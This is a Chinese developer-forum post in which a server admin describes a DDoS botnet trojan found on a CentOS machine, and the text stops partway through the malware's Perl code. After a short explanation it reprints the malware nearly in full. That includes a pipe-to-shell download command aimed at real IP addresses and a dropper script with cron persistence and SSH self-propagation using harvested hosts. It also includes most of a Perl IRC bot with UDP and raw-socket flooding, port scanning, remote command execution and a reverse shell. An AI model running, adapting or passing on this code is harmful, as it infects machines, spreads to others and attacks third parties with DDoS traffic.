DDOS肉鸡代码 - HelloWorld开发者社区

最近一段时间，所使用的CentOS服务器被不明人士安放了木马程序；观察发现该木马程序是用来发起DDOS攻击的肉鸡程序，在发作时占用绝大部分的网络带宽。

起点：

wget http://65.254.63.20/a|sh ; curl -O http://65.254.63.20/a ; sh a;rm -rf a*

执行完上面的代码以后，你的机器就已经中招了。以下是所下载和执行的代码：

plm=`ps x |grep httpd.conf|grep -v grep`
plt=`cat /proc/cpuinfo|grep aes`
#pgrep perl |sed '1d;' |xargs kill -9
if [ "$plm" != "" ]
  then
    echo
else

    rm -rf  apache* httpd.conf* /usr/local/bin/sysmonitord
    echo 'nameserver 8.8.8.8'> /etc/resolv.conf
    #/sbin/iptables -A OUTPUT -p tcp --dport 45560 -j ACCEPT
    kill -9 `ps x|grep stratum|awk '{print $1}'`
    kill -9 `ps x|grep httpd.conf|grep -v grep|awk '{print $1}'`
    #killall -9 sysmonitord sh wget curl
    crontab -r

    if [ -f libcurl.so.4 ] ; then
        echo
    else
        wget           223.255.145.158/libcrypto.so.6 > /dev/null 2>&1
        wget           223.255.145.158/libcurl.so.4 > /dev/null 2>&1
        wget           223.255.145.158/libssl.so.6 > /dev/null 2>&1
        wget           223.255.145.158/libldap-2.3.so.0 > /dev/null 2>&1
        wget           223.255.145.158/liblber-2.3.so.0 > /dev/null 2>&1

        curl -O http://223.255.145.158/libcrypto.so.6 > /dev/null 2>&1
        curl -O http://223.255.145.158/libssl.so.6 > /dev/null 2>&1
        curl -O http://223.255.145.158/libcurl.so.4 > /dev/null 2>&1
        curl -O http://223.255.145.158/libldap-2.3.so.0 > /dev/null 2>&1
        curl -O http://223.255.145.158/liblber-2.3.so.0 > /dev/null 2>&1
        export LD_LIBRARY_PATH=`pwd`
    fi

    curl -O    http://65.254.63.20/apache > /dev/null 2>&1
    wget -qO - http://65.254.63.20/.mail | perl
    curl -O    http://65.254.63.20/.mail  > /dev/null 2>&1
    fetch      http://65.254.63.20/.mail > /dev/null 2>&1 ; perl .mail ; rm -rf .mail* 
    wget       http://65.254.63.20/apache > /dev/null 2>&1
    wget       http://65.254.63.20/httpd.conf > /dev/null 2>&1
    curl -O    http://65.254.63.20/httpd.conf > /dev/null 2>&1

    if [ -f /etc/cron.daily/anacron ] ; then
        echo
    else
        wget -O /etc/cron.daily/anacron http://65.254.63.20/a > /dev/null 2>&1 ; chmod +x /etc/cron.daily/anacron
        curl -O http://65.254.63.20/a  > /dev/null 2>&1; mv a /etc/cron.daily/anacron ; chmod +x /etc/cron.daily/anacron
    fi

    chmod +x apache
    (exec ./apache -c httpd.conf &> /dev/null &)
    sleep 2

    rm -rf wget* apache* httpd*
fi

if [ "$plm" != "" ]
  then
    echo
  else

    if [ "$plt" != "" ]
      then
        echo
      else
        wget    http://65.254.63.20/apacheaes > /dev/null 2>&1
        curl -O http://65.254.63.20/apacheaes > /dev/null 2>&1
        wget    http://65.254.63.20/httpd.conf > /dev/null 2>&1
        curl -O http://65.254.63.20/httpd.conf > /dev/null 2>&1
        chmod +x apacheaes
        mv apacheaes apache2
        (exec ./apache2 -c httpd.conf &> /dev/null &)
    fi

fi

if [ -f /tmp/.h ] ; then
    echo
else
cat /root/.ssh/known_hosts|grep -v ,|awk '{print $1}' > /tmp/.h > /dev/null 2>&1
cat /root/.ssh/known_hosts|grep ,|awk -F, '{print $1}' >> /tmp/.h > /dev/null 2>&1
cat /root/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h > /dev/null 2>&1
cat /home/*/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h > /dev/null 2>&1
cat /home/*/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h > /dev/null 2>&1
cat /home/*/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h > /dev/null 2>&1
cat /root/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h > /dev/null 2>&1
cat /root/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h > /dev/null 2>&1
for i in `cat /tmp/.h` ; do (exec ssh -oStrictHostKeyChecking=no -oCheckHostIP=no `whoami`@$i "wget http://65.254.63.20/a|sh ; curl -O http://65.254.63.20/a ; sh a;rm -rf a*") > /dev/null 2>&1 ; done
fi

history -rc

以上shell脚本代码主要是下载并执行相关代码，以启动相应功能的服务进程；然后分析相应的日志/历史文件，从中解析出相关IP地址，并尝试登录到相应IP地址并再次执行上述动作（即：下载并执行上述shell脚本，以达到感染其他机器的目的）。

上面的 wget http://65.254.63.20/.mail | perl 所下载并执行的perl代码：

#!/usr/bin/perl
my @mast3rs = ("G");

my @hostauth = ("localhost");
my @admchan=("#x");

my @server = ("213.152.3.19");
$servidor= $server[rand scalar @server] unless $servidor;

my $xeqt = "!say";
my $homedir = "/tmp";
my $shellaccess = 1;
my $xstats = 1;
my $pacotes = 1;
my $linas_max = 5;
my $sleep = 6;
my $portime = 4;

my @fakeps = ("/usr/bin/httpd");

my @nickname = ("V");

my @xident = ("xxx");
my @xname = (`uname -a`);

#################
# Random Ports
#################
my @rports = ("8080");

my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
   "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
   "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
   "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
   "\001Snak for Macintosh 4.9.8 English\001",
   "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
   "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
   "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
   "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
   "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
   "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
   "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
   "\001ircN 8.00 ^_-^_ he tries to tell me what I put inside of me ^_-^_\001",
   "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
   "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
   "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
   "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
   "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
   "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1??9] : Keep it to yourself!\001",
   "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
   "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
   "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
   "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
   "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");

# Default quick scan ports
my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");

# xeQt

#my $nick = "Power";
my $nick = $nickname[rand scalar @nickname];
my $realname = $xname[rand scalar @xname];
my $ircname = $xident[rand scalar @xident];
my $porta = $rports[rand scalar @rports];
my $xproc = $fakeps[rand scalar @fakeps];
my $Mrx = $Mrx[rand scalar @Mrx];
my $version = 'PowerBots (C) GohacK';
my $echo = "`echo` $1";

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("$homedir");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$xproc"."\0";
my $pid=fork;
exit if $pid;
die "[x] -> Cannot fork into background: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

sub getnick {
    return "$nickname[rand scalar @nickname]".int(rand(20000));
}

sub getstore ($$)
{
    my $url = shift;
    my $file = shift;

    $http_stream_out = 1;
    open(GET_OUTFILE, "> $file");
    %http_loop_check = ();
    _get($url);
    close GET_OUTFILE;
    return $main::http_get_result;
}

sub _get
{
    my $url = shift;
    my $proxy = "";
    grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
    if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
        my $host = $1;
        my $port = $2 || 80;
        my $path = $3;
        $path = "/" unless defined($path);
        return _trivial_http_get($host, $port, $path);
    } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
        my $host = $1;
        my $port = $2;
        my $path = $url;
        return _trivial_http_get($host, $port, $path);
    } else {
        return undef;
    }
}

sub _trivial_http_get
{
    my($host, $port, $path) = @_;
    my($AGENT, $VERSION, $p);
    #print "HOST=$host, PORT=$port, PATH=$path\n";
 
    $AGENT = "get-minimal";
    $VERSION = "20000118";
 
    $path =~ s/ /%20/g;
 
    require IO::Socket;
    local($^W) = 0;
    my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;
 
    $sock->autoflush;
    my $netloc = $host;
    $netloc .= ":$port" if $port != 80;
    my $request = "GET $path HTTP/1.0\015\012"
                . "Host: $netloc\015\012"
                . "User-Agent: $AGENT/$VERSION/u\015\012";
    $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
    $request .= "\015\012";
    print $sock $request;
    my $buf = "";
    my $n;
    my $b1 = "";
    while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
        if ($b1 eq "") {
            $b1 = $buf;
            $buf =~ s/.+?\015?\012\015?\012//s;
        }
        if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
    }
    return undef unless defined($n);
    $main::http_get_result = 200;
    if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
        $main::http_get_result = $1;
        # print "CODE=$main::http_get_result\n$b1\n";
        if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
            my $url = $1;
            return undef if $http_loop_check{$url}++;
            return _get($url);
        }
        return undef unless $main::http_get_result =~ /^2/;
    }
    return $buf;
}

$sel_cliente = IO::Select->new();

sub sendraw {
    if ($#_ == '1') {
        my $socket = $_[0];
        print $socket "$_[1]\n";
    } else {
        print $IRC_cur_socket "$_[0]\n";
    }
}

sub conectar {
    my $meunick = $_[0];
    my $servidor_con = $_[1];
    my $porta_con = $_[2];
    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
    if (defined($IRC_socket)) {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_cliente->add($IRC_socket);
        $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
        $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
        $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
        nick("$meunick");
        sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
        sleep 2;
    }
}

my $line_temp;

while( 1 ) {
    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    &DCC::connections;
    my @ready = $sel_cliente->can_read(0.6);
    next unless(@ready);
    foreach $fh (@ready) {
        $IRC_cur_socket = $fh;
        $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $msg, 4096);
        if ($nread == 0) {
            $sel_cliente->remove($fh);
            $fh->close;
            delete($irc_servers{$fh});
        }
        @lines = split (/\n/, $msg);
        for(my $c=0; $c<= $#lines; $c++) {
            $line = $lines[$c];
            $line=$line_temp.$line if ($line_temp);
            $line_temp='';
            $line =~ s/\r$//;
            unless ($c == $#lines) {
                parse("$line");
            } else {
                if ($#lines == 0) {
                    parse("$line");
                } elsif ($lines[$c] =~ /\r$/) {
                    parse("$line");
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    parse("$line");
                } else {
                    $line_temp = $line;
                }
            }
        }
    }
}

sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
        my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
        if ($args =~ /^\001VERSION\001$/) {
            notice("$pn", "".$Mrx."");
        }
        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
            notice("$pn", "\001PONG\001");
        }
        if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {
            if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {
                if ($onde eq "$meunick"){
                    shell("$pn", "$args");
                }
                if ($args =~ /^!(.*)/){
                    ircase("$pn","$chan","$1");
                }
                if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
                    my $natrix = $1;
                    my $arg = $2;
                    if ($arg =~ /^\!(.*)/) {
                        ircase("$pn","$onde","$1");
                    } elsif ($arg =~ /^\@(.*)/) {
                        $ondep = $onde;
                        $ondep = $pn if $onde eq $meunick;
                        bfunc("$ondep","$1");
                    } else {
                        shell("$onde", "$arg");
                    }
                }
            }
        }
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
        if (lc($1) eq lc($meunick)) {
            $meunick=$4;
            $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
        }
    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
        $meunick = getnick();
        nick("".$meunick."-");
    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
        $meunick = $2;
        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
        foreach my $canal (@admchan){
            sendraw("JOIN $canal muietie");
        }
    }
}
sub bfunc {
    my $printl = $_[0];
    my $funcarg = $_[1];
    if (my $pid = fork) {
        waitpid($pid, 0);
    } else {
        if (fork)
        {
            exit;
        }
        else
        {
            # Quick scan
            if ($funcarg =~ /^ps (.*)/) {
                my $hostip="$1";
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
                my (@aberta, %porta_banner);
                foreach my $porta (@portas)  {
                    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
                    if ($scansock) {
                        push (@aberta, $porta);
                        $scansock->close;
                        sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
                    }
                }
                if (@aberta) {
                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
                } else {
                    sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
                }
            }
            # NMAP, lol
            elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
            {
                my $hostname="$1";
                my $portstart = "$2";
                my $portend = "$3";
                my (@abertas, %porta_banner);
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
                foreach my $porta ($portstart..$portend)
                {
                    my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
                    if ($scansock) {
                        push (@abertas, $porta);
                        $scansock->close;
                        if ($xstats)
                        {
                            sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
                        }
                    }
                }
                if (@abertas) {
                    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
                } else {
                    sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
                }
            }
            # Remove
            elsif ($funcarg =~ /^rm/)
            {
                system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
            }
            # Version
            elsif ($funcarg =~ /^version/)
            {
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
            }
            # Download
            elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
            {
                getstore("$1", "$2");
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
            }
            # Udp
            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
                return unless $pacotes;
                socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
                my $alvo=inet_aton("$1");
                my $porta = "$2";
                my $tempo = "$3";
                my $pacote;
                my $pacotese;
                my $fim = time + $tempo;
                my $pacota = 1;
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
                while (($pacota == "1") && ($pacotes == "1")) {
                    $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                    $pacote=$rand x $rand x $rand;
                    $porta = int(rand 65000) +1 if ($porta == "0");
                    send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
                }
                if ($xstats)
                {
                    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
                }
            }

            # Backconnect
            elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
                my $host = "$1";
                my $porta = "$2";
                my $proto = getprotobyname('tcp');
                my $iaddr = inet_aton($host);
                my $paddr = sockaddr_in($porta, $iaddr);
                my $shell = "/bin/sh -i";
                if ($^O eq "MSWin32") {
                    $shell = "cmd.exe";
                }
                socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
                connect(SOCKET, $paddr) or die "connect: $!";
                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
                open(STDIN, ">&SOCKET");
                open(STDOUT, ">&SOCKET");
                open(STDERR, ">&SOCKET");
                system("$shell");
                system("cd /tmp/.mrx");
                close(STDIN);
                close(STDOUT);
                close(STDERR);
            }
            exit;
        }
    }
}

sub ircase {
    my ($kem, $printl, $case) = @_;

    if ($case =~ /^join (.*)/) {
        j("$1");
    }
    elsif ($case =~ /^part (.*)/) {
        p("$1");
    }
    elsif ($case =~ /^rejoin\s+(.*)/) {
        my $chan = $1;
        if ($chan =~ /^(\d+) (.*)/) {
            for (my $ca = 1; $ca <= $1; $ca++ ) {
                p("$2");
                j("$2");
            }
        } else {
            p("$chan");
            j("$chan");
        }
    }
    elsif ($case =~ /^op/) {
        op("$printl", "$kem") if $case eq "op";
        my $oarg = substr($case, 3);
        op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
    }
    elsif ($case =~ /^deop/) {
        deop("$printl", "$kem") if $case eq "deop";
        my $oarg = substr($case, 5);
        deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
    }
    elsif ($case =~ /^voice/) {
        voice("$printl", "$kem") if $case eq "voice";
        $oarg = substr($case, 6);
        voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
    }
    elsif ($case =~ /^devoice/) {
        devoice("$printl", "$kem") if $case eq "devoice";
        $oarg = substr($case, 8);
        devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
    }
    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
        msg("$1", "$2");
    }
    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
        for (my $cf = 1; $cf <= $1; $cf++) {
            msg("$2", "$3");
        }
    }
    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
        for (my $cf = 1; $cf <= $1; $cf++) {
            ctcp("$2", "$3");
        }
    }
    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
        ctcp("$1", "$2");
    }
    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
        invite("$1", "$2");
    }
    elsif ($case =~ /^echo/) {
        system("echo $meunick > `pwd`/botnick");
        msg("done");
    }
    elsif ($case =~ /^nick (.*)/) {
        nick("$1");
    }
    elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
        conectar("$2", "$1", 6667);
    }
    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
        DCC::SEND("$1", "$2");
    }
    elsif ($case =~ /^raw (.*)/) {
        sendraw("$1");
    }
    elsif ($case =~ /^eval (.*)/) {
        eval "$1";
    }
    elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
        sleep int(rand($2));
        j("$1");
    }
    elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
        sleep int(rand($2));
        p("$1");
    }
    elsif ($case =~ /^quit/) {
        quit();
    }
    elsif ($case =~ /^rand/) {
        my $novonick = getnick();
        nick("$novonick");
    }
    elsif ($case =~ /^stat (.*)/) {
        if ($1 eq "on") {
            $xstats = 1;
            msg("$printl", "Satus enabled");
        } elsif ($1 eq "off") {
            $xstats = 0;
            msg("$printl", "Status disable");
        }
    }
    elsif ($case =~ /^bang (.*)/) {
        if ($1 eq "on") {
            $pacotes = 1;
            msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
        } elsif ($1 eq "off") {
            $pacotes = 0;
            msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
        }
    }
}

sub shell {
    return unless $shellaccess;
    my $printl=$_[0];
    my $comando=$_[1];
    if ($comando =~ /cd (.*)/) {
        chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
        return;
    }
    elsif ($pid = fork) {
        waitpid($pid, 0);
    } else {
        if (fork) {
            exit;
        } else {
            my @resp=`$comando 2>&1 3>&1`;
            my $c=0;
            foreach my $linha (@resp) {
                $c++;
                chop $linha;
                sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
                if ($c >= "$linas_max") {
                    $c=0;
                    sleep $sleep;
                }
            }
            exit;
        }
    }
}

sub attacker {
    my $iaddr = inet_aton($_[0]);
    my $msg = 'B' x $_[1];
    my $ftime = $_[2];
    my $cp = 0;
    my (%pacotes);
    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
    return(undef) if $cp == 4;
    my $itime = time;
    my ($cur_time);
    while ( 1 ) {
        for (my $porta = 1; $porta <= 65535; $porta++) {
            $cur_time = time - $itime;
            last if $cur_time >= $ftime;
            send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
            send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
            send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
            send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
            for (my $pc = 3; $pc <= 255;$pc++) {
                next if $pc == 6;
                $cur_time = time - $itime;
                last if $cur_time >= $ftime;
                socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
                send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
            }
        }
        last if $cur_time >= $ftime;
    }
    return($cur_time, %pacotes);
}

sub action {
    return unless $#_ == 1;
    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}
sub ctcp {
    return unless $#_ == 1;
    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
    return unless $#_ == 1;
    sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
    return unless $#_ == 1;
    sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
    return unless $#_ == 1;
    sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
    sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
    return unless $#_ == 1;
    sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
    return unless $#_ == 1;
    sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
    return unless $#_ == 1;
    sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
    return unless $#_ == 1;
    sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
    return unless $#_ == 1;
    sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
    return unless $#_ == 1;
    sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
    return unless $#_ == 0;
    sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
    return unless $#_ == 0;
    sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
    return unless $#_ == 0;
    sendraw("NICK $_[0]");
}
sub invite {
    return unless $#_ == 1;
    sendraw("INVITE $_[1] $_[0]");
}
sub topico {
    return unless $#_ == 1;
    sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
    return unless $#_ == 0;
    sendraw("WHOIS $_[0]");
}
sub who {
    return unless $#_ == 0;
    sendraw("WHO $_[0]");
}
sub names {
    return unless $#_ == 0;
    sendraw("NAMES $_[0]");
}
sub away {
    sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
    sendraw("QUIT :$_[0]");
    exit;
}

package DCC;
sub connections {
    my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
    foreach my $fh (@ready) {
        my $dcctipo = $DCC{$fh}{tipo};
        my $arquivo = $DCC{$fh}{arquivo};
        my $bytes = $DCC{$fh}{bytes};
        my $cur_byte = $DCC{$fh}{curbyte};
        my $nick = $DCC{$fh}{nick};
        my $msg;
        my $nread = sysread($fh, $msg, 10240);
        if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
            $DCC{$fh}{status} = "Cancelado";
            $DCC{$fh}{ftime} = time;
            $dcc_sel->remove($fh);
            $fh->close;
            next;
        }
        if ($dcctipo eq "get") {
            $DCC{$fh}{curbyte} += length($msg);

            my $cur_byte = $DCC{$fh}{curbyte};

            open(FILE, ">> $arquivo");
            print FILE "$msg" if ($cur_byte <= $bytes);
            close(FILE);

            my $packbyte = pack("N", $cur_byte);
            print $fh "$packbyte";

            if ($bytes == $cur_byte) {
               $dcc_sel->remove($fh);
               $fh->close;
               $DCC{$fh}{status} = "Recebido";
               $DCC{$fh}{ftime} = time;
               next;
            }
        } elsif ($dcctipo eq "send") {
            my $send = $fh->accept;
            $send->autoflush(1);
            $dcc_sel->add($send);
            $dcc_sel->remove($fh);
            $DCC{$send}{tipo} = 'sendcon';
            $DCC{$send}{itime} = time;
            $DCC{$send}{nick} = $nick;
            $DCC{$send}{bytes} = $bytes;
            $DCC{$send}{curbyte} = 0;
            $DCC{$send}{arquivo} = $arquivo;
            $DCC{$send}{ip} = $send->peerhost;
            $DCC{$send}{porta} = $send->peerport;
            $DCC{$send}{status} = "Enviando";
            open(FILE, "< $arquivo");
            my $fbytes;
            read(FILE, $fbytes, 1024);
            print $send "$fbytes";
            close FILE;
#            delete($DCC{$fh});
        } elsif ($dcctipo eq 'sendcon') {
            my $bytes_sended = unpack("N", $msg);
            $DCC{$fh}{curbyte} = $bytes_sended;
            if ($bytes_sended == $bytes) {
                $fh->close;
                $dcc_sel->remove($fh);
                $DCC{$fh}{status} = "Enviado";
                $DCC{$fh}{ftime} = time;
                next;
            }
            open(SENDFILE, "< $arquivo");
            seek(SENDFILE, $bytes_sended, 0);
            my $send_bytes;
            read(SENDFILE, $send_bytes, 1024);
            print $fh "$send_bytes";
            close(SENDFILE);
        }
    }
}

sub SEND {
    my ($nick, $arquivo) = @_;
    unless (-r "$arquivo") {
        return(0);
    }
    my $dccark = $arquivo;
    $dccark =~ s/[.*\/](\S+)/$1/;
